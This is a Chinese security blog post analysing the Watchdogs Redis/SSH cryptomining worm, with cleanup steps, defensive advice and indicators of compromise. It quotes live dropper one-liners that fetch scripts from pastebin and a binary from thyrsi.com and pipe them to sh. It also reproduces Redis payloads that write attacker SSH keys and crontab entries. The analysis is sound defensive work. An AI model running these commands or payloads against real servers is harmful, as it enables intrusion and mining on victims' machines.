背景

2月20日17时许，阿里云安全监测到一起大规模挖矿事件，判断为Watchdogs蠕虫导致，并在第一时间进行了应急处置。

该蠕虫短时间内即造成大量Linux主机沦陷，一方面是利用Redis未授权访问和弱密码这两种常见的配置问题进行传播，另一方面从known_hosts文件读取ip列表，用于登录信任该主机的其他主机。这两种传播手段都不是第一次用于蠕虫，但结合在一起爆发出巨大的威力。

然而Watchdogs并不是第一个造成这般影响的Redis蠕虫。截至目前，Redis配置问题已惨遭40余种蠕虫攻击和利用；此外，其他种类数据库的配置问题，也难保不在将来成为黑客的目标。

因此，本文在分析此次Watchdogs挖矿蠕虫、提供清理建议的同时，也分析了数据库蠕虫的发展趋势，并针对类似的大规模入侵事件的应急和预防给出建议。

Watchdogs 挖矿蠕虫简介

该蠕虫的感染路径如下图所示。

蠕虫传播方式

攻击者首先扫描存在未授权访问或弱密码的Redis，并控制相应主机去请求以下地址：

https://pastebin.com/raw/sByq0rym

该地址包含的命令是请求、base64解码并执行另一个url地址的内容：

(curl -fsSL https://pastebin.com/raw/D8E71JBJ||wget -q -O- https://pastebin.com/raw/D8E71JBJ)|base64 -d|sh

而https://pastebin.com/raw/D8E71JBJ 的内容解码后为一个bash脚本，脚本中又包含下载恶意程序Watchdogs的指令。

(curl -fsSL http://thyrsi.com/t6/672/1550667479x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667479x1822611209.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs

如上图所示，本次蠕虫的横向传播分为两块。

一是Bash脚本包含的如下内容，会直接读取主机上的/root/.ssh/known_hosts和/root/.ssh/id_rsa.pub文件，用于登录信任当前主机的机器，并控制这些机器执行恶意指令。

二是Bash脚本下载的Watchdogs程序，通过对Redis的未授权访问和爆破、以及对SSH的爆破，进行横向传播。

具体为表现为，Watchdogs程序的Bbgo()函数中，首先获取要攻击的ip列表

随后尝试登录其他主机的ssh服务，一旦登录成功则执行恶意脚本下载命令

在Ago()函数中，则表现为针对其他主机Redis的扫描和攻击。

恶意Bash脚本

除了下载Watchdogs程序和横向传播外，Bash脚本还具有以下几项功能

1.将下载自身的指令添加到crontab定时任务，10分钟执行一次

2.杀死同类的挖矿僵尸木马进程

杀死cpu占用大于80%的其他进程

简而言之，bash脚本主要是完成恶意程序植入、持久化和一部分的横向传播功能。

Watchdogs分析

Watchdogs程序为elf可执行文件，由go语言编译，其主要函数结构如下图所示。

1.LibiosetWrite()

该函数主要执行libioset.so文件的写入

2.Cron()
将恶意下载命令添加到/etc/cron.d/root等多个文件中，定时执行，加大清理难度

3.KsoftirqdsWriteRun()
解压并写入挖矿程序及其配置文件

Bbgo()和Ago()函数的功能在“蠕虫传播方式”一节已有介绍，此处不再赘述。

综上，Watchdogs程序在Bash脚本执行的基础上，将进一步进行挖矿程序的释放和执行、恶意so文件写入以及剩余的横向传播。

libioset.so分析

如图是libioset.so的导出函数表，包括unlink, rmdir, readdir等。

这里以执行rm命令必须调用的unlink()函数为例。

它只对不包含"ksoftirqds"、"ld.so.preload"、"libioset.so"这几个字符串的文件调用正常的unlink()，导致几个文件无法被正常删除。

其他几个命令，如readdir也是类似，无法正常返回关于恶意程序的结果。

而fopen函数更是变本加厉，由于系统查询cpu使用情况和端口占用情况时，都会调用fopen，于是攻击者hook了这一函数，使其在读取'/proc/stat'和'/proc/net/tcp'等文件时，调用伪造函数

其中forge_proc_cpu()函数，将返回硬编码的字符串

这种对查看系统状态功能的恶意hook，导致用户难以通过简单自查，确定挖矿是否存在以及挖矿进程是哪个。

“许多黑客模仿我的代码”——数据库蠕虫趋势统计

此次的Watchdogs挖矿蠕虫与18年出现的kworkerd蠕虫出自同一位作者（关于kworkerd挖矿僵尸网络参见《2018年云上挖矿分析报告》），因为它们使用了相同的钱包地址和相似的攻击手法。此外作者在恶意脚本末尾的注释也印证了这点：

#1.If you crack my program, please don't reveal too much code online.Many hacker boys have copied my kworkerds code,more systems are being attacked.(Especially libioset)...

这段注释同时也揭露了一个事实，“许多黑客模仿我的代码”——当一个攻击者采取了某种攻击手法并取得成功，其他攻击者会纷纷模仿，很快将该手段加入自己的“攻击大礼包”。

这种模仿的结果是，据阿里云安全不完全统计，利用Redis未授权访问等问题进行攻击的蠕虫，数量已从2018年中的一个，上涨到如今的40余个，其中不乏DDG、8220这样臭名昭著的挖矿团伙。此外大部分近期新出现的蠕虫，都会加上Redis利用模块，因为实践证明互联网上错误配置的Redis数据库数量庞大，能从其中分一杯羹，攻击者的盈利就能有很大的提升。

因而如果不保护好Redis，用户面临的将不是一个蠕虫，而是40余个蠕虫此起彼伏的攻击。

下图所示为近半年来，针对Redis的攻击流量和目标机器数量趋势，从中不难看出Redis攻击逐渐被各大僵尸网络采用，并在2018年10月11月保持非常高的攻击量；而后在经历了3个月左右的沉寂期后，在今年2月再次爆发。

而Redis本身遭受攻击的主流方法也经过了三个阶段

1.攻击者对存在未授权访问的Redis服务器写入ssh key，从而可以畅通无阻登录ssh服务

具体为执行以下payload

config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa 【sshkey】 root@kali\n\n\n"
save

其中【sshkey】表示攻击者的密钥

2.攻击者对存在未授权访问的Redis服务器写入crontab文件，定时执行恶意操作

具体为执行以下payload

config set dir /var/spool/cron
config set dbfilename root
set x "【evil command】"
save

其中【evil command】表示定时执行的恶意命令

3.以上两个阶段中仅对Redis完全没有验证即可访问的情况，第三个阶段则开始针对设置了密码验证，但密码较弱的Redis进行攻击，受害范围进一步扩大。

然而Redis并不是唯一一个受到黑客“青眼”的数据库。如下表所示，SQL Server, Mysql, Mongodb这些常用数据库的安全问题，也被多个挖矿僵尸网络所利用；利用方式集中在未授权访问、密码爆破和漏洞利用。

Watchdogs入侵修复及清理方法

1.首先停止cron服务，避免因其不断执行而导致恶意文件反复下载执行。

如果操作系统可以使用service命令，则执行

service crond stop

如果没有service命令，执行

/etc/init.d/cron stop

2.随后使用busybox删除以下两个so文件：

sudo busybox rm -f /etc/ld.so.preload
sudo busybox rm -f /usr/local/lib/libioset.so
sudo ldconfig

busybox是一个小巧的unix工具集，许多Linux系统装机时已集成。使用它进行删除是因为系统自带的rm命令需要进行动态so库调用，而so库被恶意hook了，无法进行正常删除；而busybox的rm是静态编译的，无需调用so文件，所以不受影响。

3.清理恶意进程

sudo kill -9 `ps -ef|grep Watchdogs|grep -v grep |awk '{print $2}'`
sudo kill -9 `ps -ef|grep ksoftirqds|grep -v grep |awk '{print $2}'`

4.清理cron相关文件，重启服务，具体为检查以下文件并清除其中的恶意指令：

/var/spool/cron/crontabs/root
/var/spool/cron/root
/etc/cron.d/root

之后执行

service crond start

或

/etc/init.d/cron start

安全建议

数字加密货币的获取依赖计算资源的特质，催生了黑客进行大规模入侵的动机和土壤；类似Watchdogs蠕虫这样的数据库入侵事件，不是第一起，也不会是最后一起。阿里云作为“编写时即考虑安全性”的平台，提供良好的安全基础设施和丰富的安全产品，帮助用户抵御挖矿和入侵，同时提供以下安全建议：

1.在入侵发生之前，加强数据库服务的密码，尽量不将数据库服务开放在互联网上，或根据实际情况进行访问控制（ACL）。这些措施能够帮助有效预防挖矿、勒索等攻击。平时还要注意备份资料，重视安全产品告警。

2.如果怀疑主机已被入侵挖矿，对于自身懂安全的用户，在攻击者手段较简单的情况下，可以通过自查cpu使用情况、运行进程、定时任务等方式，锁定入侵源头。

3.对于攻击者采用较多隐藏手段的攻击（如本次的Watchdogs蠕虫，使ps、top等系统命令失效），建议使用阿里云安全的下一代云防火墙产品，其阻断恶意外联、能够配置智能策略的功能，能够有效帮助防御入侵。哪怕攻击者在主机上的隐藏手段再高明，下载、挖矿、反弹shell这些操作，都需要进行恶意外联；云防火墙的拦截将彻底阻断攻击链。此外，用户还可以通过自定义策略，直接屏蔽pastebin.com、thrysi.com等广泛被挖矿蠕虫利用的网站，达到阻断入侵的目的。

如图是云防火墙帮助用户拦截此次Watchdogs蠕虫下载的例子，图*拦截23次对pastebin.com的请求；这些拦截导致主机未下载恶意脚本，从而就不会发起对thrysi.com的请求，故规则命中次数为0。

以上截图表明Watchdogs的攻击链未能执行到下一步，拦截起到了很好的效果。

4.对于有更高定制化要求的用户，可以考虑使用阿里云安全管家服务。购买服务后将有经验丰富的安全专家提供咨询服务，定制适合您的方案，帮助加固系统，预防入侵。入侵事件发生后，也可介入直接协助入侵后的清理、事件溯源等，适合有较高安全需求的用户，或未雇佣安全工程师，但希望保障系统安全的企业。

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钱包地址
46FtfupUcayUCqG7Xs7YHREgp4GW3CGvLN4aHiggaYd75WvHM74Tpg1FVEM8fFHFYDSabM3rPpNApEBY4Q4wcEMd3BM4Ava

矿池地址
xmr.f2pool.com

恶意url
pastebin.com/raw/sByq0rym

thyrsi.com/t6/672/1550667515x1822611209.jpg

恶意文件

本文作者：悟泛、桑铎、目明